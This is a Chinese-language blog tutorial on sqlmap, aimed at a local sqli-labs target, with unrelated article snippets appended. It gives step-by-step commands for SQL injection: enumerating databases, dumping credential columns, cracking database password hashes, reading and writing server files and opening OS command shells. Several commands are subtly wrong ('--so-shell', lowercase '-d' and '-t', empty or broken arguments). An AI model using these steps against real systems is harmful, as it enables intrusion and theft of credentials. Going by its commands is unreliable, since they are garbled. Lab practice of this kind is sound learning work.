sqlmap安裝與使用基礎

2022-08-09 11:06:12 字數 4105 閱讀 2526

注意:本章使用的注入點是亂寫的,主要以引數應用為主,可以採用自己的注入點

sqlmap需要用到python2和sqlmap

python是乙個執行環境簡稱py,sqlmap是乙個工具,sqlmap需用依靠python環境來執行起來.

sqlmap使用基礎

一.判斷是否存在注入

1.假定目標注入點是

執行  1 sqlmap.py -u 127.0.0.1/sss/?id=1 --batch  --batch =跳過選擇

可以判斷出用的什麼資料庫,伺服器,系統,等版本

2.還有一種情況,當注入點後面的引數大於等於2的時候,需要加雙引號

例如: 1 sqlmap.py -u ''

127.0.0.1/sss/?id=1&uid2"

3.判斷問本中的請求是否存在注入

用burp開啟**抓爆,把抓到的post引數複製下來,貼上到記事本裡儲存命名1.txt,在把記事本放到sqlmap資料夾裡.

執行  1 sqlmap.py -r desktop/1.txt

desktop桌面  

-r 路徑

ps:這是將1.txt放到桌面下才會新增路徑如果是sqlmap資料夾裡就不用

執行  1 sqlmap.py -r 1.txt

切記cmd也得切換到所在目錄才能執行

執行  1 sqlmap.py -r c:/python27/sqlmap/1.txt

這是相對路徑的使用辦法

4.查詢當前使用者下的所有資料庫

該命令是確定**存在諸如後,用語查詢使用者的所有資料庫,前提是要有許可權讀取.

執行  1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --dbs

5.獲取資料庫中的表名

格式 sqlmap.py -u 127.0.0.1/less-2/?id=2 -d 庫名 --tables

執行  1 sqlmap.py -u 127.0.0.1/less-2/?id=2 -d security --tables    庫名就是第四步所有資料庫下的其中乙個名

6.獲取表中的欄位名(列名)

該命令作用是查詢完表名後,查詢某乙個表名中所有的列,

執行 sqlmap.py -u 127.0.0.1/less-2/?id=2 -d 庫名 -t 列名 --columns

執行  1 sqlmap.py -u 127.0.0.1/less-2/?id=2 -d security -t users --columns

7.獲取字段內容

改名了是查詢完列名後,獲取指定列中具體的字段資料

執行 sqlmap.py -u 127.0.0.1/less-2/?id=2 -d 庫名 -t 列名 -c 列名,列名,列名 --dump

執行  1 sqlmap.py -u 127.0.0.1/less-2/?id=2 -d 庫名 -t 列名 -c id,passwore,username --dump

基本這一步驟就可以找後台進行檔案上傳漏洞了

8.獲取資料庫中所有的使用者

該命令的作用是列出資料庫所有使用者,如果有許可權也可以管理使用者

執行  1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --users

9.獲取資料庫使用者名稱的密碼

該命令是列出資料庫的使用者的密碼,當許可權執行起來時候,sqlmap會先列舉出使用者名稱,然後列出hash 並嘗試破解執行

1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --passwords     也可以加預設--batch

10.獲取當前**資料庫的使用者名稱(**用的是哪個資料庫名)

該命令的作用是列出當前**的使用的資料使用者,

執行  1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --current-user      也可以加預設--batch

11.獲取當前**是哪個的資料庫

1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --current-db

sqlmap使用高階

1.--level 5   探測等級

--level 5指的是一共探測有5個等級(1-5),可以不用加level  ,預設等級是1.

執行 1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --level 2

sqlmap使用的payload可以在檔案路徑xml/payloads.xml中看到,也可以按照格式自動新增payload.

其中5級包含的payload最多,自動破解cookie,xff等頭部注入,5級執行的也慢.

這個注入引數會影響的注入點,get和post的資料都會測試,

http cookoe在為2的時候就會測試,

hettp user-agent/referer頭在leve為3的時候就會測試.在不確定哪個漏洞或者注入點時可以提高level值

2.--is-dba:檢視當前使用者賬戶是否為資料庫管理許可權

執行  1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --is-dba   是管理員許可權會返回true

3.--roles:列出資料庫管理員的角色

當使用者有許可權讀取包含所以使用者的表,輸入該命令會列舉出每乙個使用者的角色,也可以用,-u引數指定想看哪個使用者的角色

執行  1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --roles

4.--referer:http referer投

sqlmap可以在請求中偽造http中的referer,當level引數設定為3或者3以上時,會嘗試對referer頭注入.

可以使用referer命令來欺騙,如:--referer

也就是在sqlmap裡執行乙個sql語句 裡面可以執行 select*from users limit 0,1語句

執行  1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --sql-shell

進如成功後

1select*from users;  他會告訴你users這個表裡的所有內容

1 slesct version();     他會告訴你資料庫版本

6.--os-cmd,   --os-shell:執行任意作業系統命令

執行  1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --so-shell

特別注意:使用這兩個命令必須具備的條件

1.資料庫使用者必須是adb超級許可權

2. 知道**的絕對路徑

3.php當中gpc為off,php自動轉義為關閉轉態

4.就算具備以上三個條件,因為涉及到系統命令,也未必可以執行成功

執行  1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --so-cmd=ipconfig

7.--file-read:從伺服器中讀取檔案

該命令用語讀取執行檔案

1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --file-read "

c:/1.txt" 

8.--file-write,   --file-dest:上傳檔案到資料庫伺服器中

1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --file-write"

上傳檔案路徑(相對路徑)

"--file-dest**路徑(寫入路徑)+"

/寫入的檔名

"

sqlmap介紹與使用案例

1.sqlmap簡介 最白話的介紹就是sqlmap是乙個工具,乙個用來做sql注入攻擊的工具 3.2 解壓檔案 解壓到任意資料夾皆可 解壓以後大概是這個樣子的 之後就是要執行這個sqlmap.py的檔案 3.3 啟動乙個命令列,執行sqlmap.py 如果出現這個介面,表示一切正常 按任意鍵結束 4...

sqlmap基礎用法

用法以kali linux下sqli lab第一關為例192.168.198.136 sqli labs less 1 id 1 u 引數 後面跟url 執行 sqlmap u r 引數 後面跟txt txt內容為該url的請求報文資訊 sqlmap r root 1.txt 獲取所有資料庫 sql...

sql注入與sqlmap的使用

一.sql注入產生的原因 sql注入用一句概況就是通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。通過控制部分sql語句,攻擊者可以查詢資料庫中任何自己需要的資料,利用資料庫的一些特性,可以直接獲取資料庫伺服器的系統許可權。要利用sql...